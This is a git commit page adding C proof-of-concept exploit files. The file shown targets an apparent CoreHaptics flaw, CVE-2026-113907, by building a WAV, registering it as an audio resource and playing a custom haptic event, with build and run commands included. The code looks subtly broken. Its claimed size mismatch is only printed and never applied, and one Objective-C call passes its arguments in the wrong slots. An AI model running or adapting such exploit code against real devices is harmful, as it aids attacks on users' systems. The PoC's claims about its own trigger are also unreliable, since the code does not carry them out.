v2.0 — 31 C POC twins + harness fixes
- 31 C POC files, one per CVE folder: full seed construction + trigger + main(), self-contained, no app dependency. All compile clean with clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded oracle on this host. - CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the mechanism behind the cm.rpu death oracle on the simulator build. - Harness fixes: glyphCount guard, MachOInspector size guard, ModTools clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display. - POC comments rewritten English-only (31 swift + arc.rr + 5 py). - README (en/zh): C twin column, .c anatomy section, compile/run examples, C oracle verification status. - Dead if-let binding removed from Identity summary; v2.0 build 3.
This commit is contained in:
1 parent
1ea76ab005
commit
7949c7ce9f
79 files changed
+4109
-892
No files matched your search
@@ -0,0 +1,167 @@
|
||||
// aud.haptic · CoreHaptics · custom audio haptic registration · CVE-2026-113907
|
||||
// CoreHaptics custom audio event with a declared-size mismatch
|
||||
// C twin of the Swift POC: builds a 4096-frame WAV, registers it as a CoreHaptics
|
||||
// audio resource and delivers a custom audio event. The declared byte count the server
|
||||
// is asked to trust is what this CVE lives in.
|
||||
// Variant aud.immersive (ImmersiveRendererData symbol probe) is noted in the Swift POC.
|
||||
// Build: clang -O2 -o cve-2026-113907 CVE-2026-113907.c -framework CoreHaptics -framework CoreFoundation -lobjc
|
||||
// Run: ./cve-2026-113907 [frame-count]
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <objc/runtime.h>
|
||||
#include <objc/message.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
|
||||
// ── byte buffer ──
|
||||
typedef struct { uint8_t *d; size_t n, cap; } buf;
|
||||
static void bneed(buf *b, size_t extra) {
|
||||
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
|
||||
}
|
||||
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
|
||||
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
|
||||
static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
|
||||
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
|
||||
|
||||
static void le16(buf *b, uint16_t v) { bput(b, v & 0xff); bput(b, v >> 8); }
|
||||
static void le32(buf *b, uint32_t v) {
|
||||
bput(b, v & 0xff); bput(b, (v >> 8) & 0xff); bput(b, (v >> 16) & 0xff); bput(b, (v >> 24) & 0xff);
|
||||
}
|
||||
|
||||
// ── seed construction (from Cinder27 Runners.hapticCustomAudio) ──
|
||||
// mono 16-bit WAV with exactly `frames` samples
|
||||
static buf wav_frames(int frames) {
|
||||
const int rate = 48000;
|
||||
buf out = {0};
|
||||
bcat(&out, "RIFF", 4);
|
||||
le32(&out, 36 + (uint32_t)frames * 2);
|
||||
bcat(&out, "WAVEfmt ", 8);
|
||||
le32(&out, 16); le16(&out, 1); le16(&out, 1);
|
||||
le32(&out, (uint32_t)rate); le32(&out, (uint32_t)rate * 2);
|
||||
le16(&out, 2); le16(&out, 16);
|
||||
bcat(&out, "data", 4);
|
||||
le32(&out, (uint32_t)frames * 2);
|
||||
brep(&out, 0, (size_t)frames * 2);
|
||||
return out;
|
||||
}
|
||||
|
||||
// ── ObjC message casts (arm64: all args in registers) ──
|
||||
static id (*msg_id)(id, SEL); // alloc
|
||||
static id (*msg_id_1id)(id, SEL, id); // initAndReturnError:
|
||||
static unsigned char (*msg_bool_1id)(id, SEL, id); // startAndReturnError:
|
||||
static unsigned long (*msg_ul_3id)(id, SEL, id, id, id); // registerAudioResource:options:error:
|
||||
static id (*msg_id_3id)(id, SEL, id, id, id); // initWithEvents:parameters:error:
|
||||
static id (*msg_id_res)(id, SEL, unsigned long, id, double, double); // initWithAudioResourceID:parameters:relativeTime:duration:
|
||||
static unsigned char (*msg_bool_double_1id)(id, SEL, double, id); // startAtTime:error:
|
||||
static void (*msg_void)(id, SEL); // stop
|
||||
static id (*msg_err_desc)(id, SEL); // localizedDescription
|
||||
static const char *(*msg_utf8)(id, SEL); // UTF8String
|
||||
|
||||
static void print_error(const char *stage, id err) {
|
||||
if (err) {
|
||||
id desc = msg_err_desc(err, sel_registerName("localizedDescription"));
|
||||
const char *s = desc ? msg_utf8(desc, sel_registerName("UTF8String")) : NULL;
|
||||
printf("%s failed: %s\n", stage, s ? s : "(no description)");
|
||||
} else {
|
||||
printf("%s failed\n", stage);
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
int frames = argc > 1 ? atoi(argv[1]) : 4096;
|
||||
int declared_bytes = 4; // the mismatch the server is asked to trust
|
||||
|
||||
msg_id = (id (*)(id, SEL))objc_msgSend;
|
||||
msg_id_1id = (id (*)(id, SEL, id))objc_msgSend;
|
||||
msg_bool_1id = (unsigned char (*)(id, SEL, id))objc_msgSend;
|
||||
msg_ul_3id = (unsigned long (*)(id, SEL, id, id, id))objc_msgSend;
|
||||
msg_id_3id = (id (*)(id, SEL, id, id, id))objc_msgSend;
|
||||
msg_id_res = (id (*)(id, SEL, unsigned long, id, double, double))objc_msgSend;
|
||||
msg_bool_double_1id = (unsigned char (*)(id, SEL, double, id))objc_msgSend;
|
||||
msg_void = (void (*)(id, SEL))objc_msgSend;
|
||||
msg_err_desc = (id (*)(id, SEL))objc_msgSend;
|
||||
msg_utf8 = (const char *(*)(id, SEL))objc_msgSend;
|
||||
|
||||
Class engineClass = objc_getClass("CHHapticEngine");
|
||||
Class eventClass = objc_getClass("CHHapticEvent");
|
||||
Class patternClass = objc_getClass("CHHapticPattern");
|
||||
if (!engineClass || !eventClass || !patternClass) {
|
||||
printf("CoreHaptics classes unavailable\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
id err = nil;
|
||||
id engine = msg_id_1id(msg_id((id)engineClass, sel_registerName("alloc")),
|
||||
sel_registerName("initAndReturnError:"), (id)&err);
|
||||
if (!engine) { print_error("CHHapticEngine init", err); return 1; }
|
||||
if (!msg_bool_1id(engine, sel_registerName("startAndReturnError:"), (id)&err)) {
|
||||
print_error("engine start", err);
|
||||
return 1;
|
||||
}
|
||||
printf("CHHapticEngine started\n");
|
||||
|
||||
buf wav = wav_frames(frames);
|
||||
const char *path = "/tmp/cinder_haptic.wav";
|
||||
FILE *f = fopen(path, "wb");
|
||||
if (f) { fwrite(wav.d, 1, wav.n, f); fclose(f); }
|
||||
printf("wav written: %s (%zu B, %d frames, declared bytes %d)\n", path, wav.n, frames, declared_bytes);
|
||||
|
||||
CFURLRef url = CFURLCreateWithFileSystemPath(NULL,
|
||||
CFSTR("/tmp/cinder_haptic.wav"), kCFURLPOSIXPathStyle, false);
|
||||
CFArrayRef empty_array = CFArrayCreate(NULL, NULL, 0, &kCFTypeArrayCallBacks);
|
||||
CFDictionaryRef empty_dict = CFDictionaryCreate(NULL, NULL, NULL, 0,
|
||||
&kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
|
||||
|
||||
err = nil;
|
||||
unsigned long resource = msg_ul_3id(engine, sel_registerName("registerAudioResource:options:error:"),
|
||||
(id)url, (id)empty_dict, (id)&err);
|
||||
if (err) {
|
||||
print_error("registerAudioResource", err);
|
||||
msg_void(engine, sel_registerName("stop"));
|
||||
bfree(&wav);
|
||||
return 1;
|
||||
}
|
||||
printf("audio resource registered: id %lu\n", resource);
|
||||
|
||||
id event = msg_id_res(msg_id((id)eventClass, sel_registerName("alloc")),
|
||||
sel_registerName("initWithAudioResourceID:parameters:relativeTime:duration:"),
|
||||
resource, (id)empty_array, 0.0, 0.25);
|
||||
id events[1] = { event };
|
||||
CFArrayRef event_array = CFArrayCreate(NULL, (const void **)events, 1, &kCFTypeArrayCallBacks);
|
||||
err = nil;
|
||||
id pattern = msg_id_3id(msg_id((id)patternClass, sel_registerName("alloc")),
|
||||
sel_registerName("initWithEvents:parameters:error:"),
|
||||
(id)event_array, (id)empty_dict, (id)&err);
|
||||
if (!pattern) {
|
||||
print_error("pattern creation", err);
|
||||
msg_void(engine, sel_registerName("stop"));
|
||||
bfree(&wav);
|
||||
return 1;
|
||||
}
|
||||
|
||||
err = nil;
|
||||
id player = msg_id_3id(engine, sel_registerName("makePlayerWithPattern:error:"),
|
||||
pattern, nil, (id)&err);
|
||||
if (!player) {
|
||||
print_error("player creation", err);
|
||||
msg_void(engine, sel_registerName("stop"));
|
||||
bfree(&wav);
|
||||
return 1;
|
||||
}
|
||||
err = nil;
|
||||
if (!msg_bool_double_1id(player, sel_registerName("startAtTime:error:"), 0.0, (id)&err)) {
|
||||
print_error("event delivery", err);
|
||||
} else {
|
||||
printf("audioCustom event delivered\n");
|
||||
}
|
||||
usleep(400000);
|
||||
msg_void(engine, sel_registerName("stop"));
|
||||
printf("engine stopped\n");
|
||||
|
||||
CFRelease(url); CFRelease(empty_array); CFRelease(empty_dict); CFRelease(event_array);
|
||||
bfree(&wav);
|
||||
printf("CVE-2026-113907 · custom audio haptic registration exercised\n");
|
||||
return 0;
|
||||
}
|
||||
Reference in new issue
Block a user